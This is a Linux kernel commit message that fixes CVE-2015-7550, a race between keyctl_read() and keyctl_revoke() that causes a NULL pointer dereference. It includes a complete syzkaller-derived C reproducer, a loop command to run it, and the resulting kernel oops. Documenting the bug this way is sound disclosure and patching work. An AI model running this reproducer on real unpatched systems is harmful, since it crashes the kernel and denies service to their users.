This fixes CVE-2015-7550.
There's a race between keyctl_read() and keyctl_revoke(). If the revoke
happens between keyctl_read() checking the validity of a key and the key's
semaphore being taken, then the key type read method will see a revoked key.
This causes a problem for the user-defined key type because it assumes in
its read method that there will always be a payload in a non-revoked key
and doesn't check for a NULL pointer.
Fix this by making keyctl_read() check the validity of a key after taking
semaphore instead of before.
I think the bug was introduced with the original keyrings code.
This was discovered by a multithreaded test program generated by syzkaller
(http://github.com/google/syzkaller). Here's a cleaned up version:
#include <sys/types.h>
#include <keyutils.h>
#include <pthread.h>
void *thr0(void *arg)
{
key_serial_t key = (unsigned long)arg;
keyctl_revoke(key);
return 0;
}
void *thr1(void *arg)
{
key_serial_t key = (unsigned long)arg;
char buffer[16];
keyctl_read(key, buffer, 16);
return 0;
}
int main()
{
key_serial_t key = add_key("user", "%", "foo", 3, KEY_SPEC_USER_KEYRING);
pthread_t th[5];
pthread_create(&th[0], 0, thr0, (void *)(unsigned long)key);
pthread_create(&th[1], 0, thr1, (void *)(unsigned long)key);
pthread_create(&th[2], 0, thr0, (void *)(unsigned long)key);
pthread_create(&th[3], 0, thr1, (void *)(unsigned long)key);
pthread_join(th[0], 0);
pthread_join(th[1], 0);
pthread_join(th[2], 0);
pthread_join(th[3], 0);
return 0;
}
Build as:
cc -o keyctl-race keyctl-race.c -lkeyutils -lpthread
Run as:
while keyctl-race; do :; done
as it may need several iterations to crash the kernel. The crash can be
summarised as:
BUG: unable to handle kernel NULL pointer dereference at 0000000000000010
IP: [<ffffffff81279b08>] user_read+0x56/0xa3
...
Call Trace:
[<ffffffff81276aa9>] keyctl_read_key+0xb6/0xd7
[<ffffffff81277815>] SyS_keyctl+0x83/0xe0
[<ffffffff815dbb97>] entry_SYSCALL_64_fastpath+0x12/0x6f
Reported-by: Dmitry Vyukov <dvyukov@google.com>
Signed-off-by: David Howells <dhowells@redhat.com>
Tested-by: Dmitry Vyukov <dvyukov@google.com>
Cc: stable@vger.kernel.org
Signed-off-by: James Morris <james.l.morris@oracle.com>
b4a1b4f504